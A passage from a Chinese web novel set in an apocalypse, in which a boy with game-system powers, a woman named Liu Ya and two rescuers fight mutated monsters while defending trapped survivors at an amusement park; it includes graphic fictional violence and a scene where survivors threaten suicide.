林霖护送着自动贩卖机小姐朝这个方向走去，一路上技能不断，他们周围几米范围内，没有任何怪物可以近身。 他没回头，但他知道这位美丽的女士的脸上一定有无限的惊讶与崇拜。 他不禁抬头挺胸，努力压住自己的嘴角不要向上翘得太厉害。 距离确实不远，哪怕林霖边走边放技能，走路的速度并不快，没过多久他也看到了呼救的人。 那个中年大叔看见他们两个在近乎神迹的技能效果后缓慢走来时，眼中几乎爆发出了激动的光芒。 “这里！这里有人受伤了！” 林霖与自动贩卖机女士看向中年大叔所指的方向。 那里，好几个人正一脸焦急地围着一个年轻女人，她显然就是中年大叔口中的“受伤的人”，她正捂着自己的手臂，手指缝隙里漏出了里面的伤口，深得可以看见白骨，正汩汩地流着鲜血，地上的血都来不及干就又被铺上了新的一层，所以永远看上去光亮而新鲜，看着甚至有点像假血。 小孩哥眼前一亮，面前的受伤美女不光漂亮，而且有一股清冷气质，简直就像动漫中的高冷女神一样，比起刚刚的自动贩卖机小姐更像女主角。 于是他立刻从游戏背包中掏出一瓶红药，深情款款地递到了这位受了伤的他命定的女主角面前。 “女主角”愣了一下。 林霖立刻“深情款款”地解释道：“这是系统道具，游戏里的加血药，喝下去之后，你就能恢复了。” 说完之后，林霖思考了一下，其实他还真不确定能不能恢复。 也不知道《神域》这游戏的血药是直接能治好现实里的伤口还是单纯加血……万一她这个伤口是类似于游戏里的流血debuff的话，那还真有点麻烦啊，没事！大不了他去最近的医院找点医疗器械，再绑个医生过来！ “女主角”盯着手里这瓶红色的药水，眼中闪过一丝犹疑，但过重的伤势还是让她狠了狠心，决定死马当活马医，一口喝下了那瓶色泽奇异的药水。 接下来，众目睽睽之下，神奇的事情发生了。 她原本那深可见骨，血流不止的伤口，就在众人紧张焦急的注视中慢慢停止了流血，并且伤口上的肉，以肉眼可见的速度长了回来。 “嘶——” “我去！” “神药啊！” “天哪！” 围着“女主角”的一群人脸上的神色瞬间从各种各样的担忧转为了震惊。 他们这副没见过世面的惊叹神情瞬间让林霖支棱了起来，他突然觉得救人还是很有意思的嘛！ 早知道刚刚过来的时候就不磨蹭了。 “女主角”看着自己的手臂瞬间恢复了完好，不禁面露怔愣，恍惚着动了几下，才确定自己真的好了。 “小神医！你那个药还有没有，能不能给我也一瓶？” 一个身穿高级三件套西装但因为气质较为猥琐所以显得像是卖保险的男人从不知何处钻了出来，一脸期待地看着林霖。 林霖正要豪爽地掏出另一瓶红药，其他人先七嘴八舌替他推拒了起来： “得了吧你！你那点伤口也需要这么神的药？药还没喝下去伤口自己先结疤了吧！” 林霖这才一看，还真是，这男的不就是脸上被抓开了一道伤痕嘛，还没他小拇指长，而且脸上的伤口本来就是最容易快速愈合的，红药给他还真是挺浪费的。 “雅姐是为了救我们大伙才伤成这样的，你丫的就是跑太慢了！这药一看就很珍贵，你也好意思用？” 小孩哥看向伤势已经恢复的“雅姐”，肃然起敬，这一定就是他传奇人生中的女主角了！不光人美，实力还强，还心善！ 那把昂贵西装穿出了卖保险风格的男人愤愤不平地和其他人吵了起来。 小孩哥也懒得理这些路人NPC，他摆出自认为优雅而酷炫的微笑，朝“雅姐”走了过去。 “这位美丽的女士，辛苦你了，接下来就交给我吧，我会保护你们大家的。” 刘雅刚要谢谢这个虽然不知道为什么听起来有点中二的孩子，就看见对方脱下校服外套，往她肩膀上一披，然后朝她露出了一个笑容。 刘雅：“……” 看着才到她腰高的小孩装大人实在是有点难绷。 她站起身，偏小的校服外套直接从她肩膀滑落，她敏捷地抓住这件校服，朝那小孩笑了笑：“多谢。” 然后她非常体贴地试图穿上这件校服外套，但有些困难，于是她最后将这件衣服系在了腰间，并体贴地向小孩解释：“现在不太冷，冷了我再穿。” 林霖正沉浸在自己的校服被挂女神腰上了的喜悦中，无所谓地摆了摆手：“都行，都行！” ——不是，他也爱把校服系腰上，为什么他系起来就这么挫呢？ 刘雅恢复了状态，站起身，向小孩哥了解情况：“你这是觉醒的异能吗？” 林霖摇了摇头：“不是，这个是我之前玩的一个游戏的系统，然后刚刚我在坐摩天轮的时候发现自己身上的衣服变了，才发现自己加载了这个游戏系统。” 刘雅若有所思：“游戏系统？” 她思考了一下，觉得有可能这也是异能，只不过这个孩子爱玩游戏，所以以游戏的方式具现了出来。 不过他还真是幸运啊，觉醒了这么厉害的异能，她自己觉醒的应该是那种很普通的异能，只是力气大了一些，弹跳能力好了些，还有瞄准准星的能力强了很多，刚刚她就是靠拆旋转木马的钢管当标枪用，击倒了幸存者身边的怪物们，然后争取到了让她跑过去救人的时间。 “这里的门比较脆弱，估计也就能暂时挡一会儿，我是这么想的，你在这里守一下，然后我去找个大一点的钢板过来堵门，不然之后的防守可能会很困难。” “这种粗活怎么能由您这样美丽的女士去做呢？交给我吧！” 刘雅刚想解释留他在这里是因为她觉得他的异能有更大的概率可以保全这里每个人，但是话还没来得及说出口，她和林霖就齐齐被旁边的一声尖叫吸引了注意力。 “啊——你，你怎么了！你别吓我啊！” 刚刚和那个西装男在争吵的大姐一脸惊恐地指着面前的西装男。 刘雅和小孩哥都只能看见西装男的背面，根本不知道这份惊恐从何而来，但是刘雅心中还是涌起了不好的预感。 她快速地移动到西装男正面，并出于安全考虑直接拉开了王姐。 看见西装男正面的样子后，刘雅的心一沉。 她的预感应验了。 “我草什么玩意儿！” 林霖不知何时也已经来到了她身边，看着西装男嘴中长出根根又尖又长的牙，恶心得一哆嗦。 “他也变成怪物了吗？” 林霖有些迷茫地问道。 “嗯，恐怕是的。”刘雅一脸严肃地指挥其他人后退到安全距离。 林霖还有点没缓过神来，他是说……他知道这满游乐园的怪物都是人变的，但是他没有跟这里的任何一个人搭过话，知道它们都是由人转变而来的怪物和看着一个刚刚还在和自己说话的人就这么变成了怪物……完全是两回事。 “你来还是我来？” 林霖一脸迷茫地抬起头看向刘雅：“什么？什么意思？” 什么叫她来还是他来？ 刘雅耐心地解释了一遍：“你来杀他还是我来杀他？” “我们……我们要杀了他吗？” 刘雅面露困惑：不然呢？而且他刚刚不是已经杀了一大片怪物了吗？他不是一路用所谓的游戏技能轰过来的吗？ “我来的话场面可能会有点脏乱，我的异能只是单纯的力量增强之类的，我其实希望你来出手，毕竟我是希望这里能作为我们接下去的据点的，但是我不知道你的技能会不会有什么冷却时间之类的东西，或者说它使用起来会比较麻烦或者代价很大吗？” 林霖还沉浸在他们要杀死这个刚刚还在……还在和他说话，还在和他讨红药的人…… 刘雅迟迟等不到小孩哥的回答，眼看着异变的人慢慢抬起了头，一脸渴血地看向了他们，她也不打算等了，可能这孩子对攻击别人还是有点心理阴影吧，刚刚也许是为了救人才那么努力。 于是她拎起旁边的钢管，快准狠地砸到了异变者的脑袋上。 她的异化方向虽然朴素，但给的数值是真高，这一管子下去，西装男的脑子直接飞走了半块，红红白白的血浆溅到了墙上和地上，甚至有几滴直接溅在了林霖的秘术师黑袍上。 他定定地看着那半块飞出去的脑袋，闻着近在咫尺的血腥味，感觉自己好像有点想吐。 关键是那具基本已经算无头了的尸体还在动，好像少了半个头对它来说完全无伤大雅一般。 刘雅还有功夫跟其他人解说：“这些怪物去头之后还有活性，所以哪怕你们成功切下了它们的头，也不要就此放松警惕，一定要确保它们完全失去行动能力，完全死透了才行。” 她说着，手中的钢管已经快准狠地砸到了面前这个异化人的膝关节处，两下清晰可闻的骨头粉碎声后，它软倒在地上，又两下重砸，刘雅确保了对方的四肢没有一条是能动的。 “呕——”小孩哥终于忍不住呕了出来。 他看着地上这个已经支离破碎但还隐隐在抽动蠕动的尸体，撑着墙忍不住大吐特吐了起来，虽然他早上没吃早饭所以现在什么都吐不出来。 刘雅略带担忧地走了过来。 “孩子，你还好吗？” “还——还好——呕——” 他很努力地想要挤出两个完整的字，但是一个字眼都没能成功吐出来。 他好像能闻到血腥气和脑浆的味道在不停往他鼻子里钻，甚至他一旦停止呕吐，没了这些巨大的声音占据他的耳朵，他好像就能听见那具尸体在地上窸窸窣窣爬行的声音，但是明明他转头看过去的时候，那具尸体已经死透了，根本完全没在动了。 “呕——” 刘雅拍了拍他的背，试图安抚一下这个可怜的孩子。 还是个孩子啊，根本受不了这么血腥的场面吧，还好他觉醒的异能可以让他杀人的时候特别干脆，否则还真是为难这个可怜孩子了。 好几分钟后，林霖终于从干呕中缓了过来，直起腰背试图挽回一下自己已经逝去的形象。 但是他还没来得及整理好自己的状态，就听见刘雅刻意压低了的声音在他耳边响起。 “我恐怕这个人异变是因为他被怪物划伤了，电影里不都是这么演的吗？被丧尸攻击后，一旦是见了血的伤口，就会被同化，大概就是这样吧。” 说到这里，她看了眼自己刚刚被治好的手臂，严肃地看向林霖：“如果之后我也异变了，不要犹豫，直接击杀我，这里的大部分怪物在攻击力和速度上都不如我，所以我一旦异变为怪物，对大家的危害肯定更大。” “记住，不要犹豫，直接击杀。” 刘雅定定地看着小孩哥的双眼，似乎要逼他当场给出一个确定的承诺。 要……要杀死……杀死她？ 林霖面露茫然之色。 刘雅深吸了一口气，看了眼不远处还在惊魂未定地互相安慰的普通人们。 “这里只有你能杀得了我，所以到那时候，不要犹豫。” “我可以信任你吗？” 林霖感到自己双肩上一沉，他突然想起了那句俗套到不行的话—— 能力越大，责任越大。 他以前觉得这话真好笑。 狗屁的能力越大责任越大，如果他有了超凡能力，他才不会去管狗屁的责任呢，这能力是他的，他就要让自己过得好！至于其他人，关他什么事？ 但是此时他突然意识到了那个电影主人公在那一瞬间的绝望。 他强忍着想要摇头想要瑟缩的欲.望，强忍着眼眶里要冒出来的眼泪，强忍着想要喊妈妈的冲动——妈妈……妈妈还活着吗？虽然昨天他才因为补课的事和她大吵了一架，虽然他一直一直都在说最讨厌她了，但是……妈妈…… 林霖咬了咬牙，哑哑地吐出一句：“我会的。” 他重新看向窗外，窗外是熙熙攘攘的怪物群，他有一种突然清晰地看见了这个新世界的感受。 好像有人从他双眼上取走了始终蒙着他双眼的黑布，为他擦去了眼睛上的灰尘，使他真正地看见了这个世界。 这些怪物，一旦被他们抓到，他也会变成那样的怪物吗？ 他当然可以杀死一片又一片的怪物，但是他不能有任何失误，一旦被蹭到一下，他就完蛋了，对吗？ 他突然失去了那种君临天下般的霸气心态，他好像第一次意识到—— 末世来了。 第40章 第 40 章 间奏 从植物园离开后, 江朗开着车从高速口下来，然后左拐右拐地回到了他们原定的救援路线上。 被这个难搞的植物污染物耽误了半天时间，他们的进度有点落后, 希望这半天里不要死太多人。 按原定的路线，他们今天要清理的是一个商区。 陆燃站在广场中央, 直接最大范围释放了精神链接。 他身上蔓延出来的银色丝线蔓延开去, 而它每触碰到一个活物，不论对方原本在做什么，都彻底静止了下来，维持着原本的姿势不动了, 而当他的精神链接彻底扩张开来, 这一整片区域都像被人按下了时间的暂停键一般。 看上去颇有几分科幻电影的感觉。 一整个商区都是污染物, 没一个活人, 陆燃直接朝江朗摇了摇头，江朗便释放了捏在手中的技能, 从上至下炮轰了整座商区。 他们正准备向前, 就听到前方不知哪里传来了一阵大喊： “嘿！嘿！你们两个！你们是救援人员吗？！” 两个人齐齐抬头。 就看见有两个人被困在了观光电梯里。 陆燃和江朗一时有些汗颜。 说实话，这俩人还是很显眼的, 毕竟观光电梯朝外的那一面是透明的。 只能说他们被陆燃的技能惯得已经不需要视力了。 这两个人应该说很幸运, 电梯只坐了他们俩，而且都没有变成污染物, 而且观光电梯的锁死装置没坏, 两个人虽然无助地被困在了半空中, 但整体上来说非常安全。 而且比起刚刚在植物园栈道里的那个女孩来说, 他们两个还幸运在自带食物，而且观光电梯既有狭小空间的安全感，又因为是透明的所以不会给人很强的幽闭感, 除了要被外面不时飞过的污染物下一下以外，这两人的位置可以说非常完美。 所以，即使是现在，他们看起来也还算精神抖擞，顶多就是两天没洗漱没换衣服所以看上去有点脏乱和疲惫而已。 既然知道人在哪了，陆燃和江朗就直接从正门进了对面那栋商区楼，然后一路小技能地清了上去，虽然他们的小技能也够把整栋建筑里的污染物杀得差不多了。 到了对应楼层之后，两个盯着这观光电梯看了半天，面面相觑了好一会儿，他们两个都没学过这个，最后他们决定还是大力出奇迹，一人拉一边，把电梯门硬生生地拉开了。 “我靠，总算有人来救了，这什么情况，丧尸病毒爆发了？” 电梯里的两人，一个是微秃啤酒肚的中年男人，一个是比他年轻至少二十岁的精致装扮的女人。 中年男人不知道哪来的脾气，傲慢地看了他们一眼： “你们两个是救援人员？怎么现在才来，再晚点就可以给我们收尸了！” “王哥别生气，你消消气，气坏了对身体不好。” 精致女人体贴地拍了拍“王哥”的肩膀。 陆燃，江朗：“……” 陆燃有些困惑，他们两个没有视力也就算了，这两个人也没有视力的吗？ 他和江朗刚刚还在他们面前表演了一个三秒内清除整座楼的生物，现在这中年男人就敢这么对他们说话？ 他的脸上罕见地浮起了一阵淡淡的迷惑。 中年男人摸了摸自己锃光瓦亮的脑门，问他们：“这……不知道什么病毒的污染范围有多大？最近的安全区在哪里？救援人员就来了你们俩？你们两个送我们去吗？” 陆燃，江朗：“……” 陆燃慢吞吞地开口：“没有安全区，我们不负责送人。” 中年男人闻言瞥了他一眼：“你们这样负责救人工资不高吧？把我们平安送回去，我可以雇你们两个当我的私人安保。” 精致女人则非常捧场地捧哏：“能给王哥当私人安保是你们的福气，这一辈子都吃香的喝辣的了。” 陆燃，江朗：“……” 他们一时不知道该从哪吐槽起，是这像是从古早电视剧穿越而来的台词，还是他们这跟不上状况的脑回路。 陆燃再一次慢吞吞地开口，因为他知道如果由江朗来解释的话，肯定怎么听都显得还有商量余地。 “末世来了，没有安全区，所有地方都和这里没区别，我们救人没有工资，只是想救，我说得够明白了吗？” 在听到“所有地方都和这里没区别”的时候，那个年轻女人脸上明显闪过了一丝惊慌，陆燃觉得她应该还算个正常人类，那个“王哥”脸上倒也有反应，但只是一种淡淡的迷茫，好像听不懂他到底在说什么一样。 “末世来了？” 那个年轻女人声音发颤地问道：“你是说……你是说，所有地方都变成这样全是怪物的样子了？” 陆燃点点头，至少这两个人中有一个人听得懂人话。 那个“王哥”也有点慌了，但他很快又挺起了胸膛，抬起了下巴，他的动作有些过于夸张，像是想要强行压下自己突如其来的惊慌。 “末世？那你们送我回去，我有一整仓库的粮油，这个好使对吧？” 陆燃，江朗：…… 这人听不懂人话的程度让人无言以对。 陆燃拍了拍江朗，示意他，他们直接走算了。 江朗对此表示同意，他也最烦这种事多的人。 见他们转身就要离开，那个女人惊恐地喊出了声：“你们……你们就这么走了？那我们怎么办？这里都是怪物，我们只是两个普通人，你们救人就不能救到底吗？我们要是死在这里的话，你们不就相当于没救下来人吗？这不是白白来一趟？” 听到这段话，江朗猛地回头，陆燃想要拦住他让他别多说话。 就他对江朗的了解，江朗每次试图拒绝别人，听起来都过于有礼貌导致对方只会死缠烂打甚至得寸进尺，麻烦得不行。 但是江朗的声音响起来了，甚至有几分冷硬，在陆燃听来有点不太像他本人。 “我们已经将这一片的污染物清理得差不多了，出去之后也会再进行一次清理，你们要面对的是一个相对安全的环境，只会有我们走后零星涌入的污染物需要面对，如果连这个安全环境都没法走出去的话，我的建议是你们也别想着在末世里活下来了。” “至于为什么不救人救到底，因为这个城市还有很多很多比你们情况更糟糕的人在等着被救，我们送你们去所谓的安全地点一趟，就可能有很多人死在这段时间里，我这么说你们能明白吗？更何况本来就没有所谓的安全地点，这里已经是目前最安全的地方了，因为我们就在这里。” “至于之后要怎么活下来，那是你们的事，我们确实在救人，想救人，但我们的目标只是给每个人一个相对有机会活下去的机会，而不是确保每个人都在末世里活下去。” 江朗说完这一连串话之后，转身就回到了陆燃身边，拍了拍陆燃的肩膀，于是两个人从楼梯又下去了。 陆燃：“十年不见，你的攻击性强了很多啊。” 虽然还是很有素质，陆燃默默地在心底补充了一句。 江朗叹了口气：“没办法，其实末世里这种人不少，也算是看人下菜吧，可能是因为我愿意救人，他们就老要求这要求那的，等他们遇上那些不由分说直接把他们干掉或者拿去当奴隶用的异能者就老实了。” 陆燃笑了一下。 他们走出这栋建筑之后，他照旧释放了精神链接，并且没把那两个已知未知的活人排除在外，正好吓吓他们。 他把建筑里剩余的污染物赶了出来后，江朗进行了一波清理，两个人就继续向下一个目标进发了。 很快，他们就将这两个人抛在了脑后. “游乐园啊……” “嗯，游乐园。” 陆燃和江朗站在这座号称C市最大也是全国最大的游乐园前面，陷入了沉思。 由于他们现在遇到的幸存者越来越少，所以昨天倒也没回仓库或者找个超市补充物资，在车里随便睡了两个小时，就继续起来向前进了。 前进到现在太阳当空的时候，他们陷入了一个两难的选择。 也就是这座游乐园。 这个东西，占地面积很大，而且不是那种高楼式建筑，也就是说他们的攻击范围其实很大程度上被削了，因为Z轴上没那么多人。 再加上游乐场本身就存活率极低，就像医院一样，大部分都是敞开式建筑，没什么可以躲的地方。 所以他们有点犹豫，要先清理这个游乐园吗？还是说先去把周边的居民小区都处理完再过来。 但是从另一个角度想，万一游乐场里有幸存者，那么他们肯定是非常艰难才活了下来，而且晚去一步可能就死了，如果他们先去别的地方，好像又对这可能存在可能不存在的幸存者有些不公平。 江朗转头看陆燃：“你觉得呢？你决定吧。” 陆燃：“进去吧，就按照顺序来好了。” 江朗松了口气，他一向不擅长做这种两难的决定，陆燃能直接帮他做决定就很好。 于是，他们朝游乐场内走去。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 40-50 第41章 第 41 章 绝望游乐场（三）…… “撑住！小林你还撑得住吗？！” 撑得住吗？ 林霖也在问自己这个问题。 他真的还撑得住吗？ 他其实已经有点发昏了。 他怎么会觉得末世来了, 他可以摆脱无聊的学校生活了是件好事的？ 如果再给他一次选择的机会，他一定好好念书……哦不，好好念书他可能还是做不到, 他还是觉得每天一睁眼就只有做题的日子是一种生不如死的煎熬，但是如果上天再给他一次机会, 他一定不会再抱怨自己无聊而平淡的生活。 原来平平淡淡才真是真的。 他再也不想当英雄了。 原来当英雄那么那么那么累。 多久了？ 他也不记得过了多久了, 印象里太阳好像是第二次？还是第三次升起了？ 那是过了三天？四天？ 好累啊，已经不知道多少个小时没睡觉了。 三天或者四天前，他做好了要被迫杀死雅姐的准备，也做好了自己一旦失误就会变成怪物的准备, 但是他以为这就是他会面对的最糟糕的事, 但他想错了。 原来比起这些, 更痛苦的是钝刀子磨肉。 那天杀死了西装男后, 刘雅就如她之前所说的那样，出去找钢板堵门了。 这里是游乐园一个基本没人来的项目, 好像是做机器人展览的还是什么, 相对来说其他场地来说至少是个密封性比较强的室内场馆，唯一问题可能就是门太大了而且没有食物储存。 但是刘雅说她会带食物回来, 所以其他人还算安心。 刘雅离开之后, 林霖前思后想，越想越觉得也许他才应该出去承担这个找物资的责任, 因为他有背包, 存东西应该会方便很多, 不像刘雅那样需要真的搬着一大堆东西回来。 而且毕竟他的技能都是群攻的, 在应对外面的情况的环境这一点上有很大优势。 但是……但是他任由那个冠冕堂皇的理由说服了自己——是的，他留在这里可以最大限度地保证其他没有觉醒异能的人的存活率。 其实怎么想都觉得，保护这里的所有人这件事, 刘雅姐也可以轻松做到吧，毕竟他来之前，就是雅姐救下了所有人并给他们提供了一个安全的场所，他其实只是被吓破了胆，一时不敢去面对外面那危机四伏的环境而已。 他越想越觉得自己不中用，刘雅第一次带着钢板与五金工具箱回来的时候，他提出接下来由他去找食物。 刘雅却摇了摇头，给出了另一个他无法反驳的理由。 “你忘了吗？我已经受过伤了，万一在你离开的时间里我发生异变，这里的人就都死定了。” 于是他只能看着刘雅姐一次又一次带着伤回来，并且拒绝了他的红药，因为她已经在游客服务中心里找到了医药箱，她自己包扎一下就算处理过伤口了，她说不要浪费他的药，最后如果情况糟糕到一定程度，也许他也只能选择自己一个人突围离开，那时候每一瓶药对他都很重要。 那时候他看了眼背包里七十多瓶红药，觉得刘雅姐这么说只是为了说服他别给她药，为此他还有点生气。 但是他现在意识到了。 原来缺药真的会是个问题。 从什么时候开始的…… 可能是第二天下午，接近傍晚的时候吧。 他们发现外面的怪物在进化。 力量更强——刘雅找回来的钢板第一天确实好好地阻挡了怪物们的攻击，所有人虽然心神不定难以入睡，但确实断断续续地睡了一晚上。 现在想来，那天晚上他心烦意乱地想了大半个晚上导致一直睡得半梦半醒简直就是一种可耻的浪费！ 因为那之后他就再也没有好好睡觉的机会了。 第二天下午，那块钢板上被重重一锤，锤出了碗大一个坑，可以想见外面的怪物现在力量有多强。 关键是，外面的怪物被强化了也就算了，它们的数量是一点没减少啊！ 从唯一一扇狭小的窗户看出去，依旧是满坑满谷的怪物，重重叠叠地围着他们这个小场馆，一拳又一拳，砸得钢板和墙壁咚咚作响，或者不用拳头，就呆滞地用身体撞着门撞着墙，不知疲倦地，撞得墙内的众人有种房子在摇晃的错觉。 当然，怪物们的数量肯定是减少过的，地面上看过去地上全是怪物尸体，简直要堆出一层新的地面来了。 但是该怎么说呢，又是暑假又是周末的这个时间点，游乐园的人实在太多太多了，所以哪怕死了一批又一批，外面的怪物看上去依旧是摩肩接踵一般朝他们涌来，远处更是看不见尽头，只感觉有无限的怪物正在袭来。 而且它们似乎能感受到活物的气息，就一门心思地往他们这儿撞。 他现在一想到他当初居然希望不止只有游乐场这一个地方发生了异变就想给自己来一巴掌，现在想想，如果游乐场真的就是唯一的异变地点，也许他们还有救，杀穿或者熬到外界的救援来。 但是现在…… 只能说还好刘雅有先见之明，选了一个封闭性极高的场馆，整座场馆只有一道小门，和一个只有一丁点大的窗户。 要是他们是在游客中心或者餐厅这种四面漏风的地方，现在估计早就顾头不顾尾了，或者干脆已经团灭了。 他从钢板被砸出第一个坑开始，就一直在钢板附近的位置读条清理与他一墙之隔的怪物们，防止他们真的砸穿钢板。 他开始使用技能之后，外面确实消停了一阵，因为怪物们比较呆或者说大部分移动速度有限，第一批怪物死后到第二批怪物上前之间至少能有一段空隙。 于是他连续不断地使用着自己的技能。 直到他很快意识到，就算冒着让钢板磨损的风险，其实也该延长一下他两个技能之间的间隔的。 等怪物撞上钢板，确认新的一批怪物已经到了最前方，这样再去砸技能，其实会比较不浪费。 因为他放了半天技能之后才突然意识到，秘术师……是个非常耗蓝的职业。 游戏里不一样，有医生和言灵术士给他们上增益加回蓝buff，再加上进副本之前大家都会吃好各种各样的小药，自然可以打几个小时，虽然就算这样也要精准计算好技能链，否则就还得嗑几个蓝药来补。 他现在虽然吃了个减少蓝耗的药，但是没医生也没言灵术士给他打辅助，而且他因为上初中了，所以很久没上号了，说实话，他早就已经忘完了秘术师的最优技能循环了。 等到他用了几轮技能并终于在实战中回想起了怎么用技能才能让蓝尽量够用之后，他背包里的99大蓝药已经只剩八十多瓶了。 那之后几乎每一小时他就必须消耗两瓶大蓝，或是五瓶小蓝，按这个速度，他背包里的药只能撑两天两夜。 两天之后该怎么办？ 他突然很后悔自己当时怎么选了秘术师呢，要是选了织灵者的话，虽然伤害要低很多，但是至少可以长时间地控制住这些前排的怪物，可以给他和其他人争取很多喘息的时间。 而且这里也不需要太高的伤害。 刘雅本来是想帮他一起扛正门的攻击的，两个人轮着来，这样每个人都还能摊到一点休息时间，他也可以节省一些蓝药下来。 但是他们的轮换机制才进行了不到两小时，旁边一堵墙就在众人的尖叫中被砸出了一个洞。 刘雅非常无奈，早知道她应该多搬些备用钢板回来。 现在她不得不一个人守住这个洞口，而且必须在墙外守，因为如果不清理出一个空白圈的话，这个洞很容易在攻击下被越挖越大。 两天过去。 刘雅浑身是伤，不再推拒林霖丢过来的红药，因为再不吃她就真的要死了。 但哪怕她只在感觉濒死的情况下吃药，林霖的红药依旧消耗得极快。 至于林霖，他的情况倒是稍微好些，他基本没受任何皮外伤，除了中途遇见了一个变异方向是精神攻击的怪物给他的血条造成了一点伤害以外，基本血条没动过。 但是好累。 几乎两天没合眼。 中间实在扛不住的时候，刘雅说这层钢板应该能撑一会儿让他稍微睡一会儿。 然后他睡了十分钟。 就被惊醒了。 还不如不睡。 睡得比醒着还累。 而且也许他现在的身体素质是支撑得住他连熬几十个小时的，也许只是他过去的习惯让他有种自己需要睡眠的错觉，也许他不睡觉也没事。 他突然有点怨念《神域》怎么不是个科幻背景的游戏呢，那样没准背包里还能翻出点肾上腺素什么的。 两天后，钢板被彻底打破了。 他就这样看见了两天之中外面的怪物进化成什么样了。 如果说原本的那些怪物，基本都看得出人形，只是在人形基础上稍微有点异变的话，那么现在的这些怪物，就基本看不出一点人样了。 好一点的还留着五官和四肢，虽然不一定在原本的位置上，差一点的已经连五官和四肢都看不见了。 如果当时那个西装男是现在这些怪物的样子，他估计都用不着进行思想斗争，直接就被吓得一个技能过去了。 “雅姐，我们现在怎么办？” 他一边冷静地清掉面前的怪物，一边问，同时左手不停地补着普攻，他必须确保没有一个怪物能进来。 刘雅叹了口气：“也许都是我的错，可能我们一开始就不该选择在游乐场找个地方猫着，我太害怕折损了，当时应该带着大家往外冲，虽然可能……可能会失去几个人，但至少有希望带着部分幸存者到安全的地方。” 她停顿了一下：“你还有多少你的蓝药？” 林霖：“两瓶。” 两瓶意味着他还能无缝撑一小时左右。 刘雅叹了口气：“你想走吗？其实你应该还是能自己一个人出去的吧？” 林霖有些迷茫。 能吗？ 好像是可以的，他现在立刻杀一条路出去，然后找个摩天轮的高处吊舱避开大部分不会飞的怪物睡一觉。 然后再出去找别的安全地点。 虽然中间也可能遇到危险的怪物，毕竟现在的怪物已经进化完好几轮了，他现在的技能打在怪物们身上已经不确定能直接秒杀了，有些可能会留一层血皮，需要再补个技能才能收割。 有可能会在围攻里一不小心就死掉，但是确实比留在这里存活概率高。 其实现在想来，他生存概率最高的时候应该是异变刚发生的时候，那时候他基本可以在游乐场任何地方横着走，出去之后找个超市，把物资补充在背包里之后找个安全地方。 之后也许就能安全地活下来了。 他一想到那时自己的兴奋，还有觉得自己是这个世界的主角的想法，就觉得一阵好笑，现在想走可就没那么容易了。 但是他真的要走吗？ 他真的能做到放下其他人甩手离开吗？ 其实并不是很熟，他和这些人认识也就两天多，也就仅限于能叫出大家名字的地步。 但是，他能叫出他们的名字。 末世来临前，他其实完全不觉得自己会是那种为了救别人放弃自己生存机会的人。 如果是他还坐在教室里偷偷看小说的话，看见这种主角，他绝对是要嗤笑一声好死的，圣母成这样如果不是作者给开主角光环，凭什么能救下别人还能自己活下来啊。 末世就是末世，活下来才是硬道理，救别人就是脑残行为。 如果让当时他来回答这个问题，他肯定会毫不犹豫地说——“当然要自己跑啊！救他们干嘛？别说救不下来，就算救下来了，谁知道这些人里以后会不会有捅你一刀的，而且又指望不上他们以后帮忙，都是没异能的普通人而已！” 但是他现在却做不到这样坚定地回答，这样坚定地抛下所有人逃生。 他好像是认真在觉得，宁可和同伴们一起死在这里，也好过苟且偷生。 因为他觉得如果自己真的跑了，他恐怕会一辈子都摆脱不了想象中他们死去的噩梦。 他不想过那样的生活，如果是这样活下来的话，还不如算了。 所以他摇了摇头。 然后他背后传来了脚步。 “雅姐，林霖弟弟，你们俩走吧！” 刚刚还在劝林霖趁现在离开的刘雅生气地不回头吼道：“你们说什么呢！” “我们有说错吗？！” “你们俩别管我们还有活的机会，非要留下来也只会大家一起死在这里！全死完还是活两个，这个选择题我们还是会做的！” “是啊！在这种环境里还能活下来两天，我不知道其他人，反正我已经够本了，我也真的做不到看着雅姐你和小霖弟弟一起为我们战斗我却什么都做不到！” “是啊！你就当为我们考虑吧雅姐，难道我们看着你一次又一次受重伤然后我们只能在这里看着会好受吗？” 刘雅：“我不是也让你们补缺了吗……” 她指的是让其他人也拿着武器轮流防守，防那些她能力有限不小心漏进来的怪物。 “反正你们必须得走！”一个女孩站了出来，用几乎有些骄横的语气说道，看她身上的穿着打扮，以及蓬头垢面了两天依旧难掩的精神气，她在末世前应该是大小姐吧，而她现在用着大小姐的语气说着最决绝的话，“你们不走我们就自己出去找个怪物自杀，你们拦得住我们这么多人吗？” “王秦！” 王秦的话打开了其他人的思路。 “对！对！小秦说得对！你们不走我们就直接自杀，而且也用不着出去啊，我们手边又不是没武器了！” 一个带着黑框眼镜的年轻男生颤颤巍巍地把一把剃须刀片架到了自己的脖子上。 “你们……你们快走，不然我动手了！” 他的动作有些搞笑，眼中还有几分恐惧，但神情却坚决异常。 其他人也纷纷找起了凶器，不能是用来打怪物的，那些基本都是又重又钝的武器，这样死还是有点太痛苦了。 “雅姐，林霖！你们快走，不然我们真动手了！” “不——我说不许！” 刘雅面目扭曲，双眼几欲呲裂，但是其他人心意已决，已经可以隐隐看到他们刀片上冒出来的血珠。 一旁的林霖第一万遍后悔自己到底为什么没选织灵者！ 如果他选的是织灵者的话，他就可以控制住他们不要做傻事了！ 似乎上天听见了他心中的怒吼。 一瞬间，独属于织灵者的银色丝线从他身上长了出来。 他迷茫了一下，不是吧，他真成织灵者了？ 哦不对，他很快发现，这丝线不是从他身上长出去的，他是被控制的那一方。 不止是他，在场所有人都被控制住了。 他们的眼中都产生了丝丝惊恐。 林霖则先是震惊再是狂喜—— 我草！有织灵者！ 我草！有救了！ 他很努力地向周围的人传达出“别害怕，是友军！”的意思。 虽然他觉得自己的眼睛好像很难传达出这么复杂的意思. “嗯？” 陆燃轻轻地“嗯？”了一声。 江朗：“怎么了？？” 这游乐场是真的大，他们花了一整个小时慢慢推过来，才推到一半，并且如他们最初预计的那样，一个幸存者都没有，江朗忍不住叹气，然后就听见了陆燃迷惑的声音。 陆燃：“有幸存者。” 江朗的双眼猛地爆发出了惊人的亮光：“真的吗？！” 陆燃点了点头：“而且比我想象中多，而且都聚集在一块了，还挺方便的。” 江朗听见“聚集”这个词从陆燃口中冒出来，几乎有些震惊，这得多少人啊，才能用上“聚集”这个词。 五六个？甚至七八个？ 他努力不要将自己的期待提到太高。 江朗：“有很多人吗？几个？” 陆燃：“我没有说很多，我只是说比我想象中多，目前感知到的是有十三个幸存者。” 江朗简直不敢相信自己的耳朵：“我去！！！！这已经很多很多了！！这里居然能有十三个人幸存？！” 江朗立刻摩拳擦掌了起来：“他们在哪？” 陆燃指了个方向：“这边” 江朗：“好好好！” 